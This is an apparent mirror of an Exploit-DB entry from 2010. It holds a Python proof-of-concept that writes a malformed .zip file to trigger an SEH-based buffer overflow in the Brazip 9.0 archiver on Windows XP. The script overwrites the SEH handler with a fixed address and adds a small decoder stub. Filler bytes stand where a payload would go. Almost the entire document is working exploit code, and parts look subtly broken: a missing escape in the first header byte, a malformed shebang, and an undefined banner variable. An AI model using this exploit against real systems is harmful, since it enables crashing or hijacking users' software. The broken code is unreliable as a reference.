Brazip 9.0 – ‘.zip’ Buffer Overflow (SEH)

• Exploit Database
• 110 阅读

• 作者： ITSecTeam
  日期： 2010-08-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14671/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

  #!user/bin/python ###################################################################### # Brazip 9.0 (.zip File) BoF Poc (SEH) # Homepage: www.brazip.com.br # Version : 9.0 # Tested Os : Windows XP SP1/SP3 EN # Usage : $ Python Brazip-poc.py ###################################################################### #AUTHOR: ITSecTeam #Email: Bug@ITSecTeam.com #Website: http://www.itsecteam.com #Forum : http://forum.ITSecTeam.com #Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability60.htm #Thanks: Hoshang jafariaka [PLATEN] ###################################################################### import sys print __banner__   header_1 =("x50\x4B\x03\x04\x14\x00\x00" "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00") header_2 = ("\x50\x4B\x01\x02\x14\x00\x14" "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xe4\x0f" "\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") header_3 = ("\x50\x4B\x05\x06\x00\x00\x00" "\x00\x01\x00\x01\x00" "\x12\x10\x00\x00" "\x02\x10\x00\x00" "\x00\x00") nseh="\x41\x41\x41\x41" seh="\x65\x47\x7e\x6d"   payload = "A" * 297 + nseh+ seh   predecoder = "\x59\x59\x59\x51\x5c" payload=payload+predecoder filltoebx="B" * (100-len(predecoder)) rest = "C" *(4064-len(payload+filltoebx)) + ".txt" payload = payload+filltoebx+rest exploit = header_1 + payload + header_2 + payload + header_3 try: f=open("Brazip-poc.zip",'w') f.write(exploit) f.close() print "[+] File created successfully !" sys.exit(0) except: print "[-] Error cant write file to system\n"